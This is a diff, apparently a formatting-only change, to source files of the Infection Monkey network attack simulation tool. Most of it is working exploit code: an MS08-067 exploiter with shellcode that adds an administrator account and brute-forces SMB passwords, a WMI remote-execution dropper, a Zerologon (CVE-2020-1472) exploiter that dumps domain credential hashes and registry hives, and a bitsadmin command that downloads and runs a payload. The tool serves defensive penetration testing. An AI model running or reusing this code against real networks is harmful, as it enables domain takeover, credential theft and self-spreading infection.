"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00"
)
# Payload for Windows 2000 target
@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
_EXPLOITED_SERVICE = "Microsoft Server Service"
_windows_versions = {
"Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
"Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
"Windows 5.1": WindowsVersion.WindowsXP,
"Windows Server 2003 3790 Service Pack 2":WindowsVersion.Windows2003_SP2,
"Windows Server 2003 R2 3790 Service Pack 2":WindowsVersion.Windows2003_SP2,
"Windows 5.1":WindowsVersion.WindowsXP,
}
def __init__(self, host):
@ -202,19 +202,19 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self):
if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list(
self._windows_versions.keys()
self._windows_versions.keys()
):
return True
if not self.host.os.get("type") or (
self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version")
self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version")
):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(self.host):
return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get(
"version"
"version"
) in list(self._windows_versions.keys())
return False
@ -226,7 +226,7 @@ class Ms08_067_Exploiter(HostExploiter):
return False
os_version = self._windows_versions.get(
self.host.os.get("version"), WindowsVersion.Windows2003_SP2
self.host.os.get("version"), WindowsVersion.Windows2003_SP2
)
exploited = False
@ -237,12 +237,12 @@ class Ms08_067_Exploiter(HostExploiter):
sock = exploit.start()
sock.send(
"cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add,
).encode()
"cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add,
).encode()
)
time.sleep(2)
sock.recv(1000)
@ -260,22 +260,22 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(
self.host,
src_path,
self._config.dropper_target_path_win_32,
self._config.user_to_add,
self._config.remote_user_pass,
self.host,
src_path,
self._config.dropper_target_path_win_32,
self._config.user_to_add,
self._config.remote_user_pass,
)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(
self.host,
src_path,
self._config.dropper_target_path_win_32,
"Administrator",
password,
self.host,
src_path,
self._config.dropper_target_path_win_32,
"Administrator",
password,
)
if remote_full_path:
break
@ -286,18 +286,18 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {
"dropper_path": remote_full_path
"dropper_path":remote_full_path
} + build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
SRVSVC_Exploit.TELNET_PORT,
self._config.dropper_target_path_win_32,
self.host,
get_monkey_depth() - 1,
SRVSVC_Exploit.TELNET_PORT,
self._config.dropper_target_path_win_32,
)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {
"monkey_path": remote_full_path
"monkey_path":remote_full_path
} + build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT
self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT
)
try:
@ -313,10 +313,10 @@ class Ms08_067_Exploiter(HostExploiter):
pass
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path,
self.host,
cmdline,
)
return True

View File

@ -55,25 +55,27 @@ class WmiExploiter(HostExploiter):
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug(
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug(
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
)
continue
except socket.error:
LOG.debug(
("Network error in WMI connection to %r with " % self.host) + creds_for_logging
(
"Network error in WMI connection to %r with " % self.host) +
creds_for_logging
)
return False
except Exception as exc:
LOG.debug(
("Unknown WMI connection error to %r with " % self.host)
+ creds_for_logging
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
("Unknown WMI connection error to %r with " % self.host)
+ creds_for_logging
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
)
return False
@ -81,10 +83,10 @@ class WmiExploiter(HostExploiter):
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(
wmi_connection,
"Win32_Process",
fields=("Caption",),
where="Name='%s'" % ntpath.split(src_path)[-1],
wmi_connection,
"Win32_Process",
fields=("Caption",),
where="Name='%s'" % ntpath.split(src_path)[-1],
)
if process_list:
wmi_connection.close()
@ -94,14 +96,14 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(
self.host,
src_path,
self._config.dropper_target_path_win_32,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout,
self.host,
src_path,
self._config.dropper_target_path_win_32,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout,
)
if not remote_full_path:
@ -110,44 +112,45 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {
"dropper_path": remote_full_path
"dropper_path":remote_full_path
} + build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
WmiExploiter.VULNERABLE_PORT,
self._config.dropper_target_path_win_32,
self.host,
get_monkey_depth() - 1,
WmiExploiter.VULNERABLE_PORT,
self._config.dropper_target_path_win_32,
)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {
"monkey_path": remote_full_path
"monkey_path":remote_full_path
} + build_monkey_commandline(
self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
)
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
cmdline, ntpath.split(remote_full_path)[0], None
cmdline, ntpath.split(remote_full_path)[0], None
)
if (0 != result.ProcessId) and (not result.ReturnValue):
LOG.info(
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
remote_full_path,
self.host,
result.ProcessId,
cmdline,
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
remote_full_path,
self.host,
result.ProcessId,
cmdline,
)
self.add_vuln_port(port="unknown")
success = True
else:
LOG.debug(
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path,
self.host,
result.ProcessId,
result.ReturnValue,
cmdline,
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
"cmdline=%r)",
remote_full_path,
self.host,
result.ProcessId,
result.ReturnValue,
cmdline,
)
success = False

View File

@ -1,6 +1,7 @@
"""
Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and
https://github.com/risksense/zerologon/.
"""
import logging
@ -54,7 +55,8 @@ class ZerologonExploiter(HostExploiter):
else:
LOG.info(
"Exploit not attempted. Target is most likely patched, or an error was encountered."
"Exploit not attempted. Target is most likely patched, or an error was "
"encountered."
)
return False
@ -131,7 +133,8 @@ class ZerologonExploiter(HostExploiter):
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
f"went wrong."
)
return _exploited
@ -194,13 +197,14 @@ class ZerologonExploiter(HostExploiter):
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
try:
options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
target_ip=self.dc_ip,
dc_ip=self.dc_ip,
target=f"{self.dc_name}$@{self.dc_ip}",
# format for DC account - "NetBIOSName$@0.0.0.0"
target_ip=self.dc_ip,
dc_ip=self.dc_ip,
)
dumped_secrets = self.get_dumped_secrets(
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
)
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
@ -210,27 +214,28 @@ class ZerologonExploiter(HostExploiter):
for user in self._extracted_creds.keys():
if user == admin: # most likely to work so try this first
creds_to_use_for_getting_original_pwd_hashes.insert(
0, (user, self._extracted_creds[user])
0, (user, self._extracted_creds[user])
)
else:
creds_to_use_for_getting_original_pwd_hashes.append(
(user, self._extracted_creds[user])
(user, self._extracted_creds[user])
)
return creds_to_use_for_getting_original_pwd_hashes
except Exception as e:
LOG.info(
f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
f"Exception occurred while dumping secrets to get some username and its "
f"password's NT hash: {str(e)}"
)
return None
def get_dumped_secrets(
self,
remote_name: str = "",
username: str = "",
options: Optional[object] = None,
self,
remote_name: str = "",
username: str = "",
options: Optional[object] = None,
) -> List[str]:
dumper = DumpSecrets(remote_name=remote_name, username=username, options=options)
dumped_secrets = dumper.dump().split("\n")
@ -248,34 +253,34 @@ class ZerologonExploiter(HostExploiter):
user_RID, lmhash, nthash = parts_of_secret[1:4]
self._extracted_creds[user] = {
"RID": int(user_RID), # relative identifier
"lm_hash": lmhash,
"nt_hash": nthash,
"RID":int(user_RID), # relative identifier
"lm_hash":lmhash,
"nt_hash":nthash,
}
def store_extracted_creds_for_exploitation(self) -> None:
for user in self._extracted_creds.keys():
self.add_extracted_creds_to_exploit_info(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
self.add_extracted_creds_to_monkey_config(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
self.exploit_info["credentials"].update(
{
user: {
"username": user,
"password": "",
"lm_hash": lmhash,
"ntlm_hash": nthash,
{
user:{
"username":user,
"password":"",
"lm_hash":lmhash,
"ntlm_hash":nthash,
}
}
}
)
# so other exploiters can use these creds
@ -295,11 +300,11 @@ class ZerologonExploiter(HostExploiter):
try:
options = OptionsForSecretsdump(
dc_ip=self.dc_ip,
just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
dc_ip=self.dc_ip,
just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
)
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
@ -310,7 +315,8 @@ class ZerologonExploiter(HostExploiter):
except Exception as e:
LOG.info(
f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
f"Exception occurred while dumping secrets to get original DC password's NT "
f"hash: {str(e)}"
)
finally:
@ -318,14 +324,15 @@ class ZerologonExploiter(HostExploiter):
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
LOG.info(
f"Starting remote shell on victim with credentials:\n"
f"user: {username}\n"
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
f"Starting remote shell on victim with credentials:\n"
f"user: {username}\n"
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
)
wmiexec = Wmiexec(
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes),
domain=self.dc_ip
)
remote_shell = wmiexec.get_remote_shell()
@ -334,12 +341,13 @@ class ZerologonExploiter(HostExploiter):
try:
# Save HKLM keys on victim.
remote_shell.onecmd(
"reg save HKLM\\SYSTEM system.save && "
+ "reg save HKLM\\SAM sam.save && "
+ "reg save HKLM\\SECURITY security.save"
"reg save HKLM\\SYSTEM system.save && "
+ "reg save HKLM\\SAM sam.save && "
+ "reg save HKLM\\SECURITY security.save"
)
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
# Get HKLM keys locally (can't run these together because it needs to call
# do_get()).
remote_shell.onecmd("get system.save")
remote_shell.onecmd("get sam.save")
remote_shell.onecmd("get security.save")
@ -382,7 +390,7 @@ class ZerologonExploiter(HostExploiter):
return False
def try_restoration_attempt(
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
) -> Optional[object]:
try:
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
@ -398,7 +406,7 @@ class ZerologonExploiter(HostExploiter):
return False
def attempt_restoration(
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
) -> Optional[object]:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
@ -406,26 +414,26 @@ class ZerologonExploiter(HostExploiter):
# Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
)
server_challenge = server_challenge_response["ServerChallenge"]
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
self.dc_handle + "\x00",
self.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.dc_name + "\x00",
ciphertext,
flags,
rpc_con,
self.dc_handle + "\x00",
self.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
session_key = nrpc.ComputeSessionKeyAES(
None,
b"\x00" * 8,
server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
None,
b"\x00" * 8,
server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
)
try:
@ -436,7 +444,7 @@ class ZerologonExploiter(HostExploiter):
ZerologonExploiter._set_up_request(request, self.dc_name)
request["PrimaryName"] = NULL
pwd_data = impacket.crypto.SamEncryptNTLMHash(
unhexlify(original_pwd_nthash), session_key
unhexlify(original_pwd_nthash), session_key
)
request["UasNewPassword"] = pwd_data

View File

@ -98,11 +98,11 @@ class DumpSecrets:
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
self.__smb_connection.login(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
)
def dump(self): # noqa: C901
@ -132,24 +132,26 @@ class DumpSecrets:
self.connect()
except Exception as e:
if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# SMBConnection failed. That might be because there was no way to
# log into the
# target system. We just have a last resort. Hope we have tickets
# cached and that they
# will work
LOG.debug(
"SMBConnection didn't work, hoping Kerberos will help (%s)"
% str(e)
"SMBConnection didn't work, hoping Kerberos will help (%s)"
% str(e)
)
else:
raise
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host
self.__smb_connection, self.__do_kerberos, self.__kdc_host
)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if (
self.__just_DC is False
and self.__just_DC_NTLM is False
or self.__use_VSS_method is True
self.__just_DC is False
and self.__just_DC_NTLM is False
or self.__use_VSS_method is True
):
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
@ -158,24 +160,26 @@ class DumpSecrets:
except Exception as e:
self.__can_process_SAM_LSA = False
if (
str(e).find("STATUS_USER_SESSION_DELETED")
and os.getenv("KRB5CCNAME") is not None
and self.__do_kerberos is True
str(e).find("STATUS_USER_SESSION_DELETED")
and os.getenv("KRB5CCNAME") is not None
and self.__do_kerberos is True
):
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
# Giving some hints here when SPN target name validation is set to
# something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs
# different to cifs/.
LOG.error(
"Policy SPN target name validation might be restricting full DRSUAPI dump."
+ "Try -just-dc-user"
"Policy SPN target name validation might be restricting full "
"DRSUAPI dump." + "Try -just-dc-user"
)
else:
LOG.error("RemoteOperations failed: %s" % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if (
self.__just_DC is False
and self.__just_DC_NTLM is False
and self.__can_process_SAM_LSA
self.__just_DC is False
and self.__just_DC_NTLM is False
and self.__can_process_SAM_LSA
):
try:
if self.__is_remote is True:
@ -184,7 +188,7 @@ class DumpSecrets:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote
SAM_file_name, bootkey, isRemote=self.__is_remote
)
self.__SAM_hashes.dump()
except Exception as e:
@ -197,10 +201,10 @@ class DumpSecrets:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(
SECURITY_file_name,
bootkey,
self.__remote_ops,
isRemote=self.__is_remote,
SECURITY_file_name,
bootkey,
self.__remote_ops,
isRemote=self.__is_remote,
)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
@ -208,7 +212,8 @@ class DumpSecrets:
LOG.debug(traceback.print_exc())
LOG.error("LSA hashes extraction failed: %s" % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
# NTDS Extraction we can try regardless of RemoteOperations failing. It might
# still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
@ -218,20 +223,21 @@ class DumpSecrets:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(
NTDS_file_name,
bootkey,
isRemote=self.__is_remote,
noLMHash=self.__no_lmhash,
remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method,
justNTLM=self.__just_DC_NTLM,
NTDS_file_name,
bootkey,
isRemote=self.__is_remote,
noLMHash=self.__no_lmhash,
remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method,
justNTLM=self.__just_DC_NTLM,
)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# We don't store the resume file if this error happened, since this error
# is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
@ -239,7 +245,8 @@ class DumpSecrets:
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
"Something wen't wrong with the DRSUAPI approach. Try again with "
"-use-vss parameter"
)
self.cleanup()
except (Exception, KeyboardInterrupt) as e:

View File

@ -26,18 +26,20 @@ class OptionsForSecretsdump:
use_vss = False
def __init__(
self,
dc_ip=None,
just_dc=True,
sam=None,
security=None,
system=None,
target=None,
target_ip=None,
self,
dc_ip=None,
just_dc=True,
sam=None,
security=None,
system=None,
target=None,
target_ip=None,
):
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in
# ../zerologon.py
self.dc_ip = dc_ip
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
# just_dc becomes False, and sam, security, and system are assigned in
# get_original_pwd_nthash() in ../zerologon.py
self.just_dc = just_dc
self.sam = sam
self.security = security

View File

@ -134,9 +134,11 @@ class RemoteShell(cmd.Cmd):
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error(
"Decoding error detected, consider running chcp.com at the target,\nmap the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
"again with -codec and the corresponding codec"
"Decoding error detected, consider running chcp.com at the target,"
"\nmap the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
"then execute wmiexec.py "
"again with -codec and the corresponding codec"
)
self.__outputBuffer += data.decode(self.CODEC, errors="replace")

View File

@ -23,14 +23,14 @@ def _get_dc_name(dc_ip: str) -> str:
"""
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(
ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT
ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT
) # returns either a list of NetBIOS names or None
if name:
return name[0]
else:
raise DomainControllerNameFetchError(
"Couldn't get domain controller's name, maybe it's on external network?"
"Couldn't get domain controller's name, maybe it's on external network?"
)
@ -62,21 +62,21 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5)
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "\x00",
plaintext,
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "\x00",
plaintext,
)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
zerologon_exploiter_object.dc_name + "\x00",
ciphertext,
flags,
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
zerologon_exploiter_object.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
@ -84,7 +84,7 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5)
except nrpc.DCERPCSessionError as ex:
if (
ex.get_error_code() == 0xC0000022
ex.get_error_code() == 0xC0000022
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:

View File

@ -73,26 +73,26 @@ class Wmiexec:
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection.login(
user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
)
self.dcom = DCOMConnection(
target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True,
target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True,
)
try:
iInterface = self.dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
@ -107,7 +107,7 @@ class Wmiexec:
self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
)
return self.shell

View File

@ -22,23 +22,24 @@ __author__ = "itamar"
LOG = None
LOG_CONFIG = {
"version": 1,
"disable_existing_loggers": False,
"formatters": {
"standard": {
"format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s"
"version":1,
"disable_existing_loggers":False,
"formatters":{
"standard":{
"format":"%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%("
"funcName)s.%(lineno)d: %(message)s"
},
},
"handlers": {
"console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"},
"file": {
"class": "logging.FileHandler",
"level": "DEBUG",
"formatter": "standard",
"filename": None,
"handlers":{
"console":{"class":"logging.StreamHandler", "level":"DEBUG", "formatter":"standard"},
"file":{
"class":"logging.FileHandler",
"level":"DEBUG",
"formatter":"standard",
"filename":None,
},
},
"root": {"level": "DEBUG", "handlers": ["console"]},
"root":{"level":"DEBUG", "handlers":["console"]},
}
@ -71,13 +72,13 @@ def main():
print("Error loading config: %s, using default" % (e,))
else:
print(
"Config file wasn't supplied and default path: %s wasn't found, using internal default"
% (config_file,)
"Config file wasn't supplied and default path: %s wasn't found, using internal "
"default" % (config_file,)
)
print(
"Loaded Configuration: %r"
% WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
"Loaded Configuration: %r"
% WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
)
# Make sure we're not in a machine that has the kill file
@ -104,7 +105,8 @@ def main():
if WormConfiguration.use_file_logging:
if os.path.exists(log_path):
# If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
# If log exists but can't be removed it means other monkey is running. This usually
# happens on upgrade
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
try:
os.remove(log_path)
@ -126,7 +128,8 @@ def main():
sys.excepthook = log_uncaught_exceptions
LOG.info(
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__,
os.getpid()
)
LOG.info(f"version: {get_version()}")
@ -141,12 +144,12 @@ def main():
with open(config_file, "w") as config_fo:
json_dict = WormConfiguration.as_dict()
json.dump(
json_dict,
config_fo,
skipkeys=True,
sort_keys=True,
indent=4,
separators=(",", ": "),
json_dict,
config_fo,
skipkeys=True,
sort_keys=True,
indent=4,
separators=(",", ": "),
)
return True

View File

@ -27,12 +27,12 @@ MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
MONKEY_ARG,
)
MONKEY_CMDLINE_HTTP = (
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
'&cmd /c %%(monkey_path)s %s"'
% (
CMD_PREFIX,
MONKEY_ARG,
)
'%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s'
'&cmd /c %%(monkey_path)s %s"'
% (
CMD_PREFIX,
MONKEY_ARG,
)
)
DELAY_DELETE_CMD = (
"cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "

View File

@ -100,7 +100,8 @@ class InfectionMonkey(object):
WormConfiguration.command_servers.insert(0, self._default_server)
else:
LOG.debug(
"Default server: %s is already in command servers list" % self._default_server
"Default server: %s is already in command servers list" %
self._default_server
)
def start(self):
@ -161,8 +162,8 @@ class InfectionMonkey(object):
break
machines = self._network.get_victim_machines(
max_find=WormConfiguration.victims_max_find,
stop_callback=ControlClient.check_for_stop,
max_find=WormConfiguration.victims_max_find,
stop_callback=ControlClient.check_for_stop,
)
is_empty = True
for machine in machines:
@ -172,17 +173,17 @@ class InfectionMonkey(object):
is_empty = False
for finger in self._fingerprint:
LOG.info(
"Trying to get OS fingerprint from %r with module %s",
machine,
finger.__class__.__name__,
"Trying to get OS fingerprint from %r with module %s",
machine,
finger.__class__.__name__,
)
try:
finger.get_host_fingerprint(machine)
except BaseException as exc:
LOG.error(
"Failed to run fingerprinter %s, exception %s"
% finger.__class__.__name__,
str(exc),
"Failed to run fingerprinter %s, exception %s"
% finger.__class__.__name__,
str(exc),
)
ScanTelem(machine).send()
@ -203,23 +204,23 @@ class InfectionMonkey(object):
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(
get_interface_to_target(machine.ip_addr)
+ (
":" + self._default_server_port
if self._default_server_port
else ""
)
get_interface_to_target(machine.ip_addr)
+ (
":" + self._default_server_port
if self._default_server_port
else ""
)
)
else:
machine.set_default_server(self._default_server)
LOG.debug(
"Default server for machine: %r set to %s"
% (machine, machine.default_server)
"Default server for machine: %r set to %s"
% (machine, machine.default_server)
)
# Order exploits according to their type
self._exploiters = sorted(
